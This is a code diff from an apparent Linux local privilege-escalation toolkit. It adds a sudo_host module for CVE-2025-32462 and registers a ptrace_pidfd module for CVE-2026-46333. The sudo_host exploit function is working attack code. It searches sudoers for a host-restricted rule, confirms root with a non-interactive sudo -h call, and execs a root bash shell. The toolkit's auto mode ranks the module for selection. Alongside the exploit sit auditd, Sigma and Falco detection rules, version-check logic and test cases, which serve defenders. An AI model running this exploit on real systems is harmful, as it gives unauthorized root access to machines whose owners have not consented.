static const char ptrace_pidfd_sigma[] =
"title: Possible CVE-2026-46333 pidfd_getfd credential-steal LPE\n"
"id: 4d6f3e2a-skeletonkey-ptrace-pidfd\n"
"status: experimental\n"
"description: |\n"
" Detects pidfd_getfd(2) issued by a non-root user. The CVE-2026-46333\n"
" technique pidfd_open()s a transiently-privileged setuid process and\n"
" pidfd_getfd()s descriptors it opened while root, past the dumpable\n"
" boundary __ptrace_may_access should have enforced. False positives:\n"
" privileged container runtimes / debuggers that legitimately use pidfd.\n"
"logsource: {product: linux, service: auditd}\n"
"detection:\n"
" getfd: {type: 'SYSCALL', syscall: 'pidfd_getfd'}\n"
" non_root: {auid|expression: '>= 1000'}\n"
" condition: getfd and non_root\n"
"level: high\n"
"tags: [attack.privilege_escalation, attack.t1068, cve.2026.46333]\n";
static const char ptrace_pidfd_falco[] =
"- rule: pidfd_getfd from setuid victim by non-root (CVE-2026-46333)\n"
" desc: |\n"
" A non-root process calls pidfd_getfd() to pull a descriptor out of\n"
" another process. The CVE-2026-46333 cred-steal races a setuid\n"
" binary (chage, ssh-keysign, pkexec) or root daemon (accounts-daemon)\n"
" as it drops privileges, stealing a root-opened fd or authenticated\n"
" channel past the dumpable boundary. False positives: container\n"
" runtimes / debuggers using pidfd as root.\n"
" condition: >\n"
" evt.type = pidfd_getfd and not user.uid = 0\n"
" output: >\n"
" pidfd_getfd by non-root (possible CVE-2026-46333 fd-steal)\n"
" (user=%user.name proc=%proc.name pid=%proc.pid)\n"
" priority: HIGH\n"
" tags: [process, mitre_privilege_escalation, T1068, cve.2026.46333]\n";
const struct skeletonkey_module ptrace_pidfd_module = {
.name = "ptrace_pidfd",
.cve = "CVE-2026-46333",
.summary = "__ptrace_may_access dumpable race → pidfd_getfd steals root fds from a dropping-privilege process",
.family = "ptrace_pidfd",
.kernel_range = "5.6 <= K (pidfd_getfd vector); fixed 5.10.251 / 6.1.172 / 6.12.88 / 7.0.7 (Debian backports of the 2026-05-14 mainline fix)",
.detect = ptrace_pidfd_detect,
.exploit = ptrace_pidfd_exploit,
.mitigate = ptrace_pidfd_mitigate,
.cleanup = ptrace_pidfd_cleanup,
.detect_auditd = ptrace_pidfd_auditd,
.detect_sigma = ptrace_pidfd_sigma,
.detect_yara = NULL, /* behavioural (syscall) bug — no file artifact to match */
.detect_falco = ptrace_pidfd_falco,
.opsec_notes = "Spawns a setuid victim (chage/pkexec/ssh-keysign/passwd/su) with a benign read-only argv, pidfd_open()s it, and sweeps pidfd_getfd() across its low descriptor table during the credential-drop window. Captured descriptors are fstat()'d to fingerprint ownership and closed (non-destructive); a uid-0-owned fd captured from a non-root context is the empirical witness that __ptrace_may_access let the steal through. Audit-visible via pidfd_getfd(2)/pidfd_open(2) issued by a non-root auid, typically clustered (tight retry loop) and immediately preceded by execve of a setuid binary. No file artifacts and no persistence — the steal is in-memory fd reuse. --mitigate writes kernel.yama.ptrace_scope=2; --cleanup restores it to 1. Arch-agnostic (no shellcode).",
.arch_support = "any",
};
void skeletonkey_register_ptrace_pidfd(void)
{
skeletonkey_register(&ptrace_pidfd_module);
}
@@ -0,0 +1,12 @@
/*
* ptrace_pidfd_cve_2026_46333 — SKELETONKEY module registry hook
*/
#ifndef PTRACE_PIDFD_SKELETONKEY_MODULES_H
#define PTRACE_PIDFD_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module ptrace_pidfd_module;
#endif
@@ -53,7 +53,7 @@ static const struct kernel_patched_from ptrace_traceme_patched_branches[] = {
{4, 4, 182},
{4, 9, 182},
{4, 14, 131},
{4, 19, 58},
{4, 19, 37}, /* Debian tracker: earlier than 4.19.58 */
{5, 0, 20},
{5, 1, 17},
{5, 2, 0}, /* mainline (5.2-rc) */
@@ -127,7 +127,7 @@
static const struct kernel_patched_from sequoia_patched_branches[] = {
{5, 4, 134},
{5, 10, 52},
{5, 10, 46}, /* Debian tracker: earlier than 5.10.52 */
{5, 13, 4},
{5, 14, 0}, /* mainline */
};
@@ -0,0 +1,63 @@
# sudo_host — CVE-2025-32462
sudo `-h`/`--host` option honored beyond `-l` → abuse a host-restricted
sudoers rule for local root.
## The bug
`sudo -h <host>` (a.k.a. `--host`) exists so that, combined with `-l`,
you can list your sudo privileges *as they would apply on another host*.
The flaw: sudo also consulted the `-h` value when **running a command**
(and in `sudoedit`), so the host portion of a sudoers rule — normally
fixed to the machine you're on — becomes attacker-chosen.
If your sudoers contains a rule like:
```
alice webhost01 = (root) /usr/bin/systemctl
```
then on a *different* machine `alice` normally can't use it. With the
bug, `sudo -h webhost01 /usr/bin/systemctl ...` runs as root on the
local box. With a broader rule (`webhost01 = (ALL) ALL`), `sudo -h
webhost01 /bin/bash` is a root shell.
This matters most where one sudoers file (or LDAP/SSSD sudoers) is shared
across a fleet and rules are scoped per host.
## Affected range
| | |
|---|---|
| Affected | sudo 1.8.8 → 1.9.17p0 (~12-year-old behaviour) |
| Fixed | sudo 1.9.17p1 |
| Weakness | CWE-863 (Incorrect Authorization) |
| Severity | CVSS 8.8 (High); not in CISA KEV |
## Trigger / detection
`detect()` reads the sudo version (shared host fingerprint, else a live
`sudo --version`) and returns VULNERABLE inside `[1.8.8, 1.9.17p0]`,
OK otherwise. The exploitable precondition — a host-restricted sudoers
rule — is not reliably probeable from an unprivileged context, so the
empirical confirmation lives in the exploit path.
`exploit()`:
1. Resolves the host token to abuse: `SKELETONKEY_SUDO_HOST` env var, or
a best-effort scan of readable `/etc/sudoers` + `/etc/sudoers.d/*` for
a user-spec whose host is neither the current hostname nor `ALL`.
2. Witnesses with `sudo -n -h <host> id -u` (non-interactive).
3. On a uid-0 witness, execs `sudo -h <host> /bin/bash`
(override the command with `SKELETONKEY_SUDO_CMD`).
Returns `EXPLOIT_FAIL` with operator guidance when no abusable rule is
discoverable — it never fabricates root.
## Fix / mitigation
Upgrade sudo to 1.9.17p1 or later. There is no safe runtime toggle for
the `-h` behaviour short of the patch.
## Credit
Rich Mirch — Stratascale CRU (2025-06-30). See `NOTICE.md`.
@@ -0,0 +1,49 @@
# NOTICE — sudo_host (CVE-2025-32462)
## Vulnerability
**CVE-2025-32462** — sudo's `-h`/`--host` option, intended only to be
used with `-l`/`--list` to display a user's privileges on a *different*
host, was also honored when actually running a command (or via
`sudoedit`). This lets a user evaluate the sudoers policy as though the
machine were some other host: a sudoers rule scoped to a host that is
neither the current machine nor `ALL` becomes usable locally via
`sudo -h <that-host> <command>`, yielding command execution as root.
Primarily affects sites that distribute one sudoers file across a fleet,
or use LDAP/SSSD-based sudoers, where host-restricted rules are common.
- Affected: sudo **1.8.8** through **1.9.17p0** (the `-h` behaviour is
~12 years old). Fixed in **1.9.17p1**.
- CWE-863 (Incorrect Authorization). CVSS 8.8 (High). Not in CISA KEV
(the sibling `--chroot` bug CVE-2025-32463 is).
## Research credit
Discovered and disclosed by **Rich Mirch — Stratascale Cyber Research
Unit (CRU)**, published 2025-06-30 alongside CVE-2025-32463.
- sudo.ws advisory: <https://www.sudo.ws/security/advisories/host_any/>
- Stratascale writeup:
<https://www.stratascale.com/resource/cve-2025-32462-sudo-host-option-vulnerability/>
- Fixed in sudo 1.9.17p1 (Todd C. Miller, upstream maintainer).
All research credit belongs to Rich Mirch / Stratascale and the sudo
maintainers. SKELETONKEY is the bundling and bookkeeping layer only.
## SKELETONKEY role
🟢 **Structural escape (config-gated).** No offsets, no leak, no race.
`detect()` gates on the sudo version (the host-restricted rule lives in a
sudoers source the user usually cannot read — that opacity is the bug),
so a VULNERABLE verdict means "vulnerable sudo present; an abusable rule
may exist". `exploit()` best-effort reads `/etc/sudoers` +
`/etc/sudoers.d/*` for a user-spec whose host field is neither the
current hostname nor `ALL` (or takes the host from
`SKELETONKEY_SUDO_HOST`), witnesses with `sudo -n -h <host> id -u`, and
pops `sudo -h <host> /bin/bash` (override via `SKELETONKEY_SUDO_CMD`)
only on a confirmed uid-0 witness — never claims root it did not get.
Mitigation: upgrade sudo to 1.9.17p1+. Architecture-agnostic
(pure userspace). Joins the shared `sudo` family alongside
`sudo_chwoot`, `sudo_samedit`, `sudo_runas_neg1`, and `sudoedit_editor`.
@@ -0,0 +1,441 @@
/*
* sudo_host_cve_2025_32462 — SKELETONKEY module
*
* STATUS: 🟢 STRUCTURAL (config-gated). No offsets, no leak, no race.
* Pure authorization-logic flaw: sudo's `-h`/`--host` option — meant
* only to pair with `-l`/`--list` to show your privileges on ANOTHER
* host — was honored when actually *running* a command (or sudoedit).
* That makes the host field of a sudoers rule attacker-chosen: a rule
* scoped to some host other than the current machine becomes usable
* here via `sudo -h <that-host> <command>`.
*
* The bug (Rich Mirch, Stratascale CRU, disclosed 2025-06-30 alongside
* the sibling --chroot bug CVE-2025-32463):
* `sudo -h <host> <command>` evaluates the sudoers policy as though
* the machine were <host>. A user listed in sudoers for a different
* host (common with a fleet-wide sudoers file, or LDAP/SSSD sudoers)
* can therefore run that host's commands as root on the local box.
*
* sudo.ws advisory: https://www.sudo.ws/security/advisories/host_any/
*
* Affects: sudo 1.8.8 ≤ V ≤ 1.9.17p0 (the `-h` option behaviour is
* ~12 years old). Fixed in 1.9.17p1, which stops honoring `-h` outside
* `-l`. CWE-863 (Incorrect Authorization). CVSS 8.8 (High). NOT in
* CISA KEV (the sibling 32463 is).
*
* Precondition for exploitation (NOT for detection): the invoking user
* must already be listed in sudoers for a host that is neither the
* current hostname nor ALL. detect() can only gate on the sudo
* version (the host-restricted rule lives in a sudoers source the user
* usually cannot read — that opacity is the whole point of the bug),
* so a VULNERABLE verdict here means "vulnerable sudo present; an
* abusable host-restricted rule MAY exist". exploit() then tries to
* find/fire one (or takes the host+command from env vars).
*
* arch_support: any. Pure userspace; no shellcode.
*/
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/host.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/types.h>
#ifdef __linux__
#include <pwd.h>
#include <grp.h>
#endif
/* ---- sudo family helpers (mirror the sibling sudo_* modules) -------- */
static const char *find_sudo(void)
{
static const char *candidates[] = {
"/usr/bin/sudo", "/usr/sbin/sudo", "/bin/sudo",
"/sbin/sudo", "/usr/local/bin/sudo", NULL,
};
for (size_t i = 0; candidates[i]; i++) {
struct stat st;
if (stat(candidates[i], &st) == 0 && (st.st_mode & S_ISUID))
return candidates[i];
}
return NULL;
}
static bool get_sudo_version(const char *sudo_path, char *out, size_t outsz)
{
char cmd[512];
snprintf(cmd, sizeof cmd, "%s --version 2>&1 | head -1", sudo_path);
FILE *p = popen(cmd, "r");
if (!p) return false;
char line[256] = {0};
char *r = fgets(line, sizeof line, p);
pclose(p);
if (!r) return false;
char *vp = strstr(line, "version");
if (!vp) return false;
vp += strlen("version");
while (*vp == ' ' || *vp == '\t') vp++;
char *nl = strchr(vp, '\n');
if (nl) *nl = 0;
strncpy(out, vp, outsz - 1);
out[outsz - 1] = 0;
return out[0] != 0;
}
/* True iff the version is in the vulnerable range [1.8.8, 1.9.17p0].
* Fixed in 1.9.17p1. Versions below 1.8.8 predate the `-h` behaviour. */
static bool sudo_version_vulnerable_host(const char *v)
{
int maj = 0, min = 0, patch = 0;
char ptag = 0;
int psub = 0;
int n = sscanf(v, "%d.%d.%d%c%d", &maj, &min, &patch, &ptag, &psub);
if (n < 3) return true; /* unparseable → assume worst */
if (maj != 1) return false;
if (min < 8) return false; /* 1.7.x and below predate */
if (min == 8) return patch >= 8; /* 1.8.8 .. 1.8.x */
if (min > 9) return false; /* 1.10+ (hypothetical) fixed */
/* min == 9 */
if (patch < 17) return true; /* 1.9.0 .. 1.9.16 */
if (patch > 17) return false; /* 1.9.18+ fixed */
/* exactly 1.9.17 */
if (ptag != 'p') return true; /* 1.9.17 plain → vulnerable */
return psub == 0; /* 1.9.17p0 vuln; p1+ fixed */
}
/* ---- detect --------------------------------------------------------- */
static skeletonkey_result_t sudo_host_detect(const struct skeletonkey_ctx *ctx)
{
const char *sudo_path = find_sudo();
if (!sudo_path) {
if (!ctx->json)
fprintf(stderr, "[i] sudo_host: sudo not installed; bug unreachable here\n");
return SKELETONKEY_PRECOND_FAIL;
}
char vbuf[64] = {0};
const char *ver = NULL;
if (ctx->host && ctx->host->sudo_version[0]) {
ver = ctx->host->sudo_version;
} else if (get_sudo_version(sudo_path, vbuf, sizeof vbuf)) {
ver = vbuf;
} else {
if (!ctx->json) fprintf(stderr, "[!] sudo_host: could not read sudo --version\n");
return SKELETONKEY_TEST_ERROR;
}
if (!ctx->json) fprintf(stderr, "[i] sudo_host: sudo version '%s'\n", ver);
if (!sudo_version_vulnerable_host(ver)) {
if (!ctx->json)
fprintf(stderr, "[+] sudo_host: sudo %s outside vulnerable range "
"[1.8.8, 1.9.17p0] — patched or pre-feature\n", ver);
return SKELETONKEY_OK;
}
if (!ctx->json) {
fprintf(stderr, "[!] sudo_host: sudo %s in vulnerable range — VULNERABLE\n", ver);
fprintf(stderr, "[i] sudo_host: `-h`/`--host` honored beyond `-l` — a sudoers "
"rule scoped to a non-current host is usable via `sudo -h <host>`\n");
fprintf(stderr, "[i] sudo_host: exploitation requires such a host-restricted rule "
"(common with fleet-wide / LDAP / SSSD sudoers). Run "
"`--exploit sudo_host --i-know` to find/fire one.\n");
}
return SKELETONKEY_VULNERABLE;
}
/* ---- exploit -------------------------------------------------------- */
#ifdef __linux__
/* Does `tok` name a host that is exploitable from here — i.e. a specific
* host that is neither the current hostname nor the ALL wildcard? */
static bool host_is_abusable(const char *tok, const char *cur_host)
{
if (!tok || !*tok) return false;
if (strcmp(tok, "ALL") == 0) return false; /* no restriction → no bug */
if (tok[0] == '%' || tok[0] == '+') return false; /* netgroup/group, skip */
if (strcasecmp(tok, cur_host) == 0) return false; /* already our host */
/* A bare short-hostname form of the FQDN counts as "us" too. */
const char *dot = strchr(cur_host, '.');
if (dot) {
size_t shortlen = (size_t)(dot - cur_host);
if (strlen(tok) == shortlen && strncasecmp(tok, cur_host, shortlen) == 0)
return false;
}
return true;
}
/* Best-effort scan of a sudoers source for a rule whose host field is
* abusable. Fills *host_out with the host token to pass to `sudo -h`.
* Returns true on the first hit. We do not try to fully parse the
* sudoers grammar — we look for `<who> <host> = ...` user-spec lines and
* test the host token. who may be the user, a %group, or ALL. */
static bool scan_sudoers_file(const char *path, const char *user,
const char *cur_host, char *host_out, size_t host_sz)
{
FILE *f = fopen(path, "r");
if (!f) return false;
char line[1024];
bool hit = false;
while (fgets(line, sizeof line, f)) {
char *s = line;
while (*s == ' ' || *s == '\t') s++;
if (*s == '#' || *s == '\n' || *s == 0) continue;
if (strncmp(s, "Defaults", 8) == 0) continue;
if (strstr(s, "_Alias")) continue; /* alias defs, not user specs */
if (strstr(s, "#include") || strncmp(s, "@include", 8) == 0) continue;
/* Must contain '=' (the host = command separator). */
char *eq = strchr(s, '=');
if (!eq) continue;
/* who = first token; host = second token (before '='). */
char who[128] = {0}, host[256] = {0};
if (sscanf(s, "%127s %255s", who, host) != 2) continue;
/* strip a trailing '=' that sscanf may have grabbed onto host */
char *he = strchr(host, '=');
if (he) *he = 0;
if (!host[0]) continue;
bool who_match = (strcmp(who, "ALL") == 0) ||
(strcmp(who, user) == 0) ||
(who[0] == '%'); /* group — best-effort match */
if (!who_match) continue;
if (host_is_abusable(host, cur_host)) {
snprintf(host_out, host_sz, "%s", host);
hit = true;
break;
}
}
fclose(f);
return hit;
}
/* Try to discover an abusable host token from readable sudoers sources.
* Most non-root users cannot read these (that's the bug's opacity), but
* misconfigured / world-readable sudoers and some LDAP cache dumps are
* common enough to be worth a look. */
static bool discover_abusable_host(const char *user, const char *cur_host,
char *host_out, size_t host_sz)
{
if (scan_sudoers_file("/etc/sudoers", user, cur_host, host_out, host_sz))
return true;
/* /etc/sudoers.d/* — enumerate via shell glob into a temp listing. */
FILE *p = popen("ls -1 /etc/sudoers.d/ 2>/dev/null", "r");
if (p) {
char name[256];
while (fgets(name, sizeof name, p)) {
char *nl = strchr(name, '\n'); if (nl) *nl = 0;
if (!name[0]) continue;
char full[512];
snprintf(full, sizeof full, "/etc/sudoers.d/%s", name);
if (scan_sudoers_file(full, user, cur_host, host_out, host_sz)) {
pclose(p);
return true;
}
}
pclose(p);
}
return false;
}
/* Run `sudo -n -h <host> id -u` and return true if it printed "0"
* (command executed as root). -n keeps it non-interactive so a password
* prompt can't hang the scan. */
static bool sudo_host_witness_root(const char *sudo_path, const char *host)
{
char cmd[768];
snprintf(cmd, sizeof cmd,
"%s -n -h %s id -u 2>/dev/null", sudo_path, host);
FILE *p = popen(cmd, "r");
if (!p) return false;
char out[64] = {0};
char *r = fgets(out, sizeof out, p);
pclose(p);
if (!r) return false;
return atoi(out) == 0 && (out[0] == '0');
}
#endif /* __linux__ */
static skeletonkey_result_t sudo_host_exploit(const struct skeletonkey_ctx *ctx)
{
#ifndef __linux__
(void)ctx;
fprintf(stderr, "[-] sudo_host: Linux-only module — cannot run here\n");
return SKELETONKEY_PRECOND_FAIL;
#else
if (!ctx->authorized) {
fprintf(stderr, "[-] sudo_host: --i-know required for --exploit\n");
return SKELETONKEY_EXPLOIT_FAIL;
}
skeletonkey_result_t pre = sudo_host_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] sudo_host: detect() says not vulnerable; refusing\n");
return pre;
}
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
if (is_root) {
fprintf(stderr, "[i] sudo_host: already running as root — nothing to do\n");
return SKELETONKEY_OK;
}
const char *sudo_path = find_sudo();
if (!sudo_path) {
fprintf(stderr, "[-] sudo_host: sudo not installed\n");
return SKELETONKEY_EXPLOIT_FAIL;
}
char cur_host[256] = {0};
if (gethostname(cur_host, sizeof cur_host - 1) != 0) cur_host[0] = 0;
struct passwd *pw = getpwuid(geteuid());
const char *user = pw ? pw->pw_name : "";
/* The host token to abuse. Source priority:
* 1. SKELETONKEY_SUDO_HOST env var (operator supplies it — the most
* reliable path, since the host-restricted rule usually lives in
* a sudoers source the user can't read).
* 2. Best-effort discovery from readable sudoers. */
char host_tok[256] = {0};
const char *envh = getenv("SKELETONKEY_SUDO_HOST");
if (envh && *envh) {
snprintf(host_tok, sizeof host_tok, "%s", envh);
if (!ctx->json)
fprintf(stderr, "[*] sudo_host: using SKELETONKEY_SUDO_HOST=%s\n", host_tok);
} else if (discover_abusable_host(user, cur_host, host_tok, sizeof host_tok)) {
if (!ctx->json)
fprintf(stderr, "[+] sudo_host: found abusable host-restricted rule "
"(host '%s' != current '%s') in readable sudoers\n",
host_tok, cur_host);
} else {
fprintf(stderr,
"[-] sudo_host: no abusable host-restricted rule discoverable.\n"
" The vulnerable sudo is present, but exploitation needs a sudoers\n"
" rule scoped to a host other than '%s' (and not ALL), which is\n"
" typically in a sudoers source you cannot read. If you know one\n"
" (fleet-wide / LDAP / SSSD sudoers), supply it and re-run:\n"
" SKELETONKEY_SUDO_HOST=<that-host> \\\n"
" [SKELETONKEY_SUDO_CMD=/bin/bash] \\\n"
" skeletonkey --exploit sudo_host --i-know\n",
cur_host[0] ? cur_host : "(this host)");
return SKELETONKEY_EXPLOIT_FAIL;
}
/* Confirm the policy actually grants root on the local box when we
* claim to be host_tok. `id -u` as the witness command. */
if (!ctx->json)
fprintf(stderr, "[*] sudo_host: testing `sudo -n -h %s id -u`...\n", host_tok);
if (!sudo_host_witness_root(sudo_path, host_tok)) {
fprintf(stderr,
"[-] sudo_host: `sudo -h %s id -u` did not return uid 0. Likely:\n"
" - sudo is patched (1.9.17p1+) even if --version looked vulnerable\n"
" - the rule for '%s' is command-restricted (doesn't grant `id`);\n"
" set SKELETONKEY_SUDO_CMD to a command the rule DOES grant\n"
" - the rule requires a password (we run -n / non-interactive)\n",
host_tok, host_tok);
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!ctx->json)
fprintf(stderr, "[+] sudo_host: WITNESS — `sudo -h %s` runs as uid 0. "
"CVE-2025-32462 confirmed.\n", host_tok);
if (ctx->no_shell) {
fprintf(stderr, "[i] sudo_host: --no-shell set; not popping. Reproduce with: "
"sudo -h %s <command>\n", host_tok);
return SKELETONKEY_EXPLOIT_OK;
}
/* Pop a root shell via the abused host. The granted command may be
* restricted; default to /bin/bash but let the operator override to
* whatever the rule actually permits. */
const char *cmd = getenv("SKELETONKEY_SUDO_CMD");
if (!cmd || !*cmd) cmd = "/bin/bash";
fprintf(stderr, "[+] sudo_host: exec `sudo -h %s %s`\n", host_tok, cmd);
fflush(NULL);
execl(sudo_path, "sudo", "-h", host_tok, cmd, (char *)NULL);
perror("execl(sudo -h)");
return SKELETONKEY_EXPLOIT_FAIL;
#endif /* __linux__ */
}
/* ---- detection rules ------------------------------------------------ */
static const char sudo_host_auditd[] =
"# sudo_host CVE-2025-32462 — auditd detection rules\n"
"# Flag sudo invocations; the abuse is `sudo -h <host>` running a\n"
"# command (not just `-l`). auditd can't filter argv content, so this\n"
"# watches sudo execve broadly — correlate with sudo's own logs, which\n"
"# record the -h/--host value and the target command.\n"
"-a always,exit -F arch=b64 -S execve -F path=/usr/bin/sudo -k skeletonkey-sudo-host\n"
"-a always,exit -F arch=b64 -S execve -F path=/bin/sudo -k skeletonkey-sudo-host\n";
static const char sudo_host_sigma[] =
"title: Possible CVE-2025-32462 sudo --host policy-bypass LPE\n"
"id: 7c1d9e54-skeletonkey-sudo-host\n"
"status: experimental\n"
"description: |\n"
" Detects sudo invoked with -h/--host together with a command (not\n"
" -l/--list). On sudo <= 1.9.17p0 the host option is honored when\n"
" running commands, letting a user abuse a sudoers rule scoped to a\n"
" different host. False positives: admins legitimately using\n"
" `sudo -l -h <host>` to LIST remote privileges (no command present).\n"
"logsource: {product: linux, service: auditd}\n"
"detection:\n"
" sudo_exec: {type: 'SYSCALL', syscall: 'execve', comm: 'sudo'}\n"
" host_opt: {argv|contains: ['-h', '--host']}\n"
" condition: sudo_exec and host_opt\n"
"level: high\n"
"tags: [attack.privilege_escalation, attack.t1068, cve.2025.32462]\n";
static const char sudo_host_falco[] =
"- rule: sudo --host running a command by non-root (CVE-2025-32462)\n"
" desc: |\n"
" sudo invoked with -h/--host while running a command (not -l). On\n"
" sudo <= 1.9.17p0 the host option is wrongly honored outside\n"
" --list, so a sudoers rule scoped to another host can be abused\n"
" for local root. False positives: `sudo -l -h <host>` used purely\n"
" to list remote privileges.\n"
" condition: >\n"
" spawned_process and proc.name = sudo and\n"
" (proc.cmdline contains \"-h \" or proc.cmdline contains \"--host\") and\n"
" not proc.cmdline contains \"-l\" and not user.uid = 0\n"
" output: >\n"
" sudo --host running a command by non-root\n"
" (user=%user.name pid=%proc.pid cmdline=\"%proc.cmdline\")\n"
" priority: HIGH\n"
" tags: [process, mitre_privilege_escalation, T1068, cve.2025.32462]\n";
/* ---- module struct -------------------------------------------------- */
const struct skeletonkey_module sudo_host_module = {
.name = "sudo_host",
.cve = "CVE-2025-32462",
.summary = "sudo -h/--host honored beyond -l → abuse a host-restricted sudoers rule for local root (Stratascale)",
.family = "sudo",
.kernel_range = "userspace — sudo 1.8.8 ≤ V ≤ 1.9.17p0 (fixed in 1.9.17p1)",
.detect = sudo_host_detect,
.exploit = sudo_host_exploit,
.mitigate = NULL, /* mitigation: upgrade sudo to 1.9.17p1+ */
.cleanup = NULL, /* exploit runs a command as root; no persistent artifact */
.detect_auditd = sudo_host_auditd,
.detect_sigma = sudo_host_sigma,
.detect_yara = NULL, /* behavioural (argv) bug — no file artifact to match */
.detect_falco = sudo_host_falco,
.opsec_notes = "Reads sudo --version (or the cached host fingerprint). On --exploit, best-effort reads /etc/sudoers + /etc/sudoers.d/* (usually unreadable to non-root — that opacity is the bug) looking for a user-spec whose host field is neither the current hostname nor ALL; or takes the host from SKELETONKEY_SUDO_HOST. Witnesses with `sudo -n -h <host> id -u` (non-interactive, no password prompt) and pops `sudo -h <host> /bin/bash` (override via SKELETONKEY_SUDO_CMD) only on a uid-0 witness. Audit-visible via execve(/usr/bin/sudo) with -h/--host in argv and a command present (not -l); sudo's own syslog/journal logging records the spoofed host and target command. No file artifacts, no persistence.",
.arch_support = "any",
};
void skeletonkey_register_sudo_host(void)
{
skeletonkey_register(&sudo_host_module);
}
@@ -0,0 +1,12 @@
/*
* sudo_host_cve_2025_32462 — SKELETONKEY module registry hook
*/
#ifndef SUDO_HOST_SKELETONKEY_MODULES_H
#define SUDO_HOST_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module sudo_host_module;
#endif
@@ -106,7 +106,9 @@ static bool get_sudo_version(const char *sudo_path, char *out, size_t outsz)
static bool find_runas_blacklist_grant(const char *sudo_path, char *cmd_out, size_t cap)
{
char cmd[512];
snprintf(cmd, sizeof cmd, "%s -ln 2>/dev/null", sudo_path);
/* -n -l separated + stdin closed: see sudoedit_editor for the same
* pattern + rationale. `--auto` must never block on a tty prompt. */
snprintf(cmd, sizeof cmd, "%s -n -l </dev/null 2>/dev/null", sudo_path);
FILE *p = popen(cmd, "r");
if (!p) return false;
char line[512];
@@ -149,8 +149,13 @@ static bool get_sudo_version(const char *sudo_path, char *out, size_t outsz)
static bool find_sudoedit_target(const char *sudo_path, char *out, size_t outsz)
{
char cmd[512];
/* -n: non-interactive (no password prompt); -l: list. */
snprintf(cmd, sizeof cmd, "%s -ln 2>&1", sudo_path);
/* -n: non-interactive (no password prompt); -l: list. The two flags
* are written separately and stdin is redirected from /dev/null so
* sudo cannot fall back to a tty prompt even if the local PAM stack
* tries to coerce one (some sudoers + pam_unix configurations have
* been observed prompting despite `-n` when the flags are bundled
* as `-ln`). Belt-and-suspenders so `--auto` never blocks on input. */
snprintf(cmd, sizeof cmd, "%s -n -l </dev/null 2>&1", sudo_path);
FILE *p = popen(cmd, "r");
if (!p) return false;
@@ -56,6 +56,7 @@ static const struct kernel_patched_from tioscpgrp_patched_branches[] = {
{4, 14, 213}, /* 4.14 LTS */
{4, 19, 165}, /* 4.19 LTS */
{5, 4, 85}, /* 5.4 LTS */
{5, 9, 15}, /* Debian-tracked 5.9 backport */
{5, 10, 0}, /* mainline fix in 5.10 */
};
+3 -1
View File
@@ -35,7 +35,7 @@
#include <string.h>
#include <unistd.h>
#define SKELETONKEY_VERSION "0.9.4"
#define SKELETONKEY_VERSION "0.9.8"
static const char BANNER[] =
"\n"
@@ -1003,6 +1003,7 @@ static int module_safety_rank(const char *n)
/* Higher = safer. Run highest-ranked vulnerable module. */
if (!strcmp(n, "pwnkit")) return 100; /* userspace, no kernel */
if (!strcmp(n, "sudoedit_editor")) return 99; /* structural argv */
if (!strcmp(n, "sudo_host")) return 96; /* structural; needs a host-restricted sudoers rule */
if (!strcmp(n, "cgroup_release_agent")) return 98; /* structural, no offsets */
if (!strcmp(n, "overlayfs_setuid")) return 97; /* structural setuid */
if (!strcmp(n, "overlayfs")) return 96; /* userns + xattr */
@@ -1014,6 +1015,7 @@ static int module_safety_rank(const char *n)
if (!strcmp(n, "dirtydecrypt") ||
!strcmp(n, "fragnesia")) return 87; /* ported page-cache writes; version-pinned detect, exploit NOT VM-verified */
if (!strcmp(n, "ptrace_traceme")) return 85; /* userspace cred race */
if (!strcmp(n, "ptrace_pidfd")) return 84; /* pidfd_getfd fd-steal race; ported, exploit NOT VM-verified */
if (!strcmp(n, "sudo_samedit")) return 80; /* heap-tuned, may crash sudo */
if (!strcmp(n, "af_unix_gc")) return 25; /* kernel race, low win% */
if (!strcmp(n, "stackrot")) return 15; /* very low win% */
+78
View File
@@ -68,6 +68,8 @@ extern const struct skeletonkey_module sudo_runas_neg1_module;
extern const struct skeletonkey_module tioscpgrp_module;
extern const struct skeletonkey_module vsock_uaf_module;
extern const struct skeletonkey_module nft_pipapo_module;
extern const struct skeletonkey_module ptrace_pidfd_module;
extern const struct skeletonkey_module sudo_host_module;
static int g_pass = 0;
static int g_fail = 0;
@@ -725,6 +727,82 @@ static void run_all(void)
&nft_pipapo_module, &h_kernel_4_4,
SKELETONKEY_OK);
/* ── ptrace_pidfd (CVE-2026-46333) ───────────────────────────
* Version-pinned: predates-gate at pidfd_getfd's 5.6 introduction,
* then Debian backports 5.10.251 / 6.1.172 / 6.12.88 / 7.0.7. */
/* kernel 4.4 predates the pidfd_getfd vector (added 5.6) → OK */
run_one("ptrace_pidfd: kernel 4.4 predates pidfd_getfd (5.6) → OK",
&ptrace_pidfd_module, &h_kernel_4_4,
SKELETONKEY_OK);
/* 5.5.99 is one below the 5.6 vector introduction → OK */
struct skeletonkey_host h_pidfd_5_5_99 =
mk_host(h_kernel_6_12, 5, 5, 99, "5.5.99-test");
run_one("ptrace_pidfd: 5.5.99 below pidfd_getfd (5.6) → OK",
&ptrace_pidfd_module, &h_pidfd_5_5_99,
SKELETONKEY_OK);
/* 5.15.5 has the vector and is below every fix backport → VULNERABLE */
struct skeletonkey_host h_pidfd_5_15_5 =
mk_host(h_kernel_6_12, 5, 15, 5, "5.15.5-test");
run_one("ptrace_pidfd: 5.15.5 (vector + below all fixes) → VULNERABLE",
&ptrace_pidfd_module, &h_pidfd_5_15_5,
SKELETONKEY_VULNERABLE);
/* 6.12.87 one below the trixie backport → VULNERABLE */
struct skeletonkey_host h_pidfd_6_12_87 =
mk_host(h_kernel_6_12, 6, 12, 87, "6.12.87-test");
run_one("ptrace_pidfd: 6.12.87 (one below 6.12.88 backport) → VULNERABLE",
&ptrace_pidfd_module, &h_pidfd_6_12_87,
SKELETONKEY_VULNERABLE);
/* 6.12.88 exact trixie backport → OK via patch table */
struct skeletonkey_host h_pidfd_6_12_88 =
mk_host(h_kernel_6_12, 6, 12, 88, "6.12.88-test");
run_one("ptrace_pidfd: 6.12.88 (exact backport) → OK via patch table",
